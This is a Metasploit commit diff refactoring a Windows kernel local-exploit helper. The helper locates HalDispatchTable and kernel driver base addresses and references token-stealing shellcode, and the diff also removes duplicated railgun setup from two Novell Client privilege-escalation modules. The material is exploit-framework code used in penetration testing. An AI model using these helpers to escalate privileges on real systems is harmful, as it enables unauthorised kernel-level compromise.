Skip to content

Commit b602e47

Browse files
zeroSteinerzeroSteiner
committed
Implement improvements based on feedback
1 parent 9cd6353 commit b602e47

File tree

6 files changed

+69
-84
lines changed

6 files changed

+69
-84
lines changed

‎lib/msf/core/exploit/local/windows_kernel.rb

Lines changed: 34 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,9 @@
22

33
module Msf
44
module Exploit::Local::WindowsKernel
5+
include Msf::PostMixin
6+
include Msf::Post::Windows::Error
7+
58
#
69
# Find the address of nt!HalDispatchTable.
710
#
@@ -10,25 +13,29 @@ module Exploit::Local::WindowsKernel
1013
#
1114
def find_haldispatchtable
1215
kernel_info = find_sys_base(nil)
16+
if kernel_info.nil?
17+
print_error("Failed to find the address of the Windows kernel")
18+
return nil
19+
end
1320
vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
1421

1522
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
1623
if h_kernel['return'] == 0
17-
print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']})")
24+
print_error("Failed to load #{kernel_info[1]} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
1825
return nil
1926
end
2027
h_kernel = h_kernel['return']
2128

2229
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
2330
if hal_dispatch_table['return'] == 0
24-
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']})")
31+
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
2532
return nil
2633
end
2734
hal_dispatch_table = hal_dispatch_table['return']
2835

2936
hal_dispatch_table -= h_kernel
3037
hal_dispatch_table += kernel_info[0]
31-
vprint_status("HalDisPatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
38+
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
3239
hal_dispatch_table
3340
end
3441

@@ -41,34 +48,31 @@ def find_haldispatchtable
4148
# @return [nil] If the name specified could not be found.
4249
#
4350
def find_sys_base(drvname)
44-
unless session.railgun.dlls.keys.include?('psapi')
45-
session.railgun.add_dll('psapi')
46-
session.railgun.add_function(
47-
'psapi',
48-
'EnumDeviceDrivers',
49-
'BOOL',
50-
[
51-
%w(PBLOB lpImageBase out),
52-
%w(DWORD cb in),
53-
%w(PDWORD lpcbNeeded out)
54-
])
55-
session.railgun.add_function(
56-
'psapi',
57-
'GetDeviceDriverBaseNameA',
58-
'DWORD',
59-
[
60-
%w(LPVOID ImageBase in),
61-
%w(PBLOB lpBaseName out),
62-
%w(DWORD nSize in)
63-
])
51+
if sysinfo['Architecture'] =~ /(x86|wow64)/i
52+
ptr_size = 4
53+
else
54+
ptr_size = 8
6455
end
6556

66-
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
67-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('V*')
57+
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, ptr_size)
58+
unless results['return']
59+
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
60+
return nil
61+
end
62+
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], ptr_size)
63+
unless results['return']
64+
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
65+
return nil
66+
end
67+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack((ptr_size == 4 ? 'V' : 'Q') + '*')
6868

6969
addresses.each do |address|
7070
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
71-
current_drvname = results['lpBaseName'][0..results['return'] - 1]
71+
if results['return'] == 0
72+
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
73+
return nil
74+
end
75+
current_drvname = results['lpBaseName'][0,results['return']]
7276
if drvname.nil?
7377
if current_drvname.downcase.include?('krnl')
7478
return [address, current_drvname]
@@ -94,16 +98,16 @@ def find_sys_base(drvname)
9498
#
9599
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
96100
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
97-
if handle['return'] == 0xffffffff
98-
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']})")
101+
if handle['return'] == INVALID_HANDLE_VALUE
102+
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
99103
return nil
100104
end
101105
handle['return']
102106
end
103107

104108
#
105-
# Generate x86 token stealing shellcode suitable for use when overwriting the
106-
# pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx
109+
# Generate token stealing shellcode suitable for use when overwriting the
110+
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
107111
# registers.
108112
#
109113
# @param target [Hash] The target information containing the offsets to _KPROCESS,

‎lib/msf/core/post/windows/error.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2527,5 +2527,5 @@ module Msf::Post::Windows::Error
25272527
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
25282528
HASH_NOT_SUPPORTED = 0x3BC4
25292529
HASH_NOT_PRESENT = 0x3BC5
2530-
2530+
INVALID_HANDLE_VALUE = 0xffffffff
25312531
end

‎lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
# -*- coding: binary -*-
2+
module Rex
3+
module Post
4+
module Meterpreter
5+
module Extensions
6+
module Stdapi
7+
module Railgun
8+
module Def
9+
10+
class Def_psapi
11+
12+
def self.create_dll(dll_path = 'psapi')
13+
dll = DLL.new(dll_path, ApiConstants.manager)
14+
15+
dll.add_function('EnumDeviceDrivers', 'BOOL',[
16+
%w(PBLOB lpImageBase out),
17+
%w(DWORD cb in),
18+
%w(PDWORD lpcbNeeded out)
19+
])
20+
21+
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
22+
%w(LPVOID ImageBase in),
23+
%w(PBLOB lpBaseName out),
24+
%w(DWORD nSize in)
25+
])
26+
27+
return dll
28+
end
29+
30+
end
31+
32+
end; end; end; end; end; end; end

‎lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,8 @@ class Railgun
7878
'crypt32',
7979
'wlanapi',
8080
'wldap32',
81-
'version'
81+
'version',
82+
'psapi'
8283
].freeze
8384

8485
##

‎modules/exploits/windows/local/novell_client_nicm.rb

Lines changed: 0 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -66,28 +66,6 @@ def initialize(info={})
6666

6767
end
6868

69-
def add_railgun_functions
70-
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
71-
session.railgun.add_function(
72-
'psapi',
73-
'EnumDeviceDrivers',
74-
'BOOL',
75-
[
76-
["PBLOB", "lpImageBase", "out"],
77-
["DWORD", "cb", "in"],
78-
["PDWORD", "lpcbNeeded", "out"]
79-
])
80-
session.railgun.add_function(
81-
'psapi',
82-
'GetDeviceDriverBaseNameA',
83-
'DWORD',
84-
[
85-
["LPVOID", "ImageBase", "in"],
86-
["PBLOB", "lpBaseName", "out"],
87-
["DWORD", "nSize", "in"]
88-
])
89-
end
90-
9169
def open_device(dev)
9270

9371
invalid_handle_value = 0xFFFFFFFF
@@ -163,10 +141,6 @@ def check
163141
end
164142

165143
def exploit
166-
167-
vprint_status("Adding the railgun stuff...")
168-
add_railgun_functions
169-
170144
if sysinfo["Architecture"] =~ /wow64/i
171145
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
172146
elsif sysinfo["Architecture"] =~ /x64/

‎modules/exploits/windows/local/novell_client_nwfs.rb

Lines changed: 0 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -62,28 +62,6 @@ def initialize(info={})
6262

6363
end
6464

65-
def add_railgun_functions
66-
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
67-
session.railgun.add_function(
68-
'psapi',
69-
'EnumDeviceDrivers',
70-
'BOOL',
71-
[
72-
["PBLOB", "lpImageBase", "out"],
73-
["DWORD", "cb", "in"],
74-
["PDWORD", "lpcbNeeded", "out"]
75-
])
76-
session.railgun.add_function(
77-
'psapi',
78-
'GetDeviceDriverBaseNameA',
79-
'DWORD',
80-
[
81-
["LPVOID", "ImageBase", "in"],
82-
["PBLOB", "lpBaseName", "out"],
83-
["DWORD", "nSize", "in"]
84-
])
85-
end
86-
8765
def open_device(dev)
8866

8967
invalid_handle_value = 0xFFFFFFFF
@@ -219,10 +197,6 @@ def disclose_addresses(t)
219197

220198

221199
def exploit
222-
223-
vprint_status("Adding the railgun stuff...")
224-
add_railgun_functions
225-
226200
if sysinfo["Architecture"] =~ /wow64/i
227201
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
228202
elsif sysinfo["Architecture"] =~ /x64/

0 commit comments

Comments
 (0)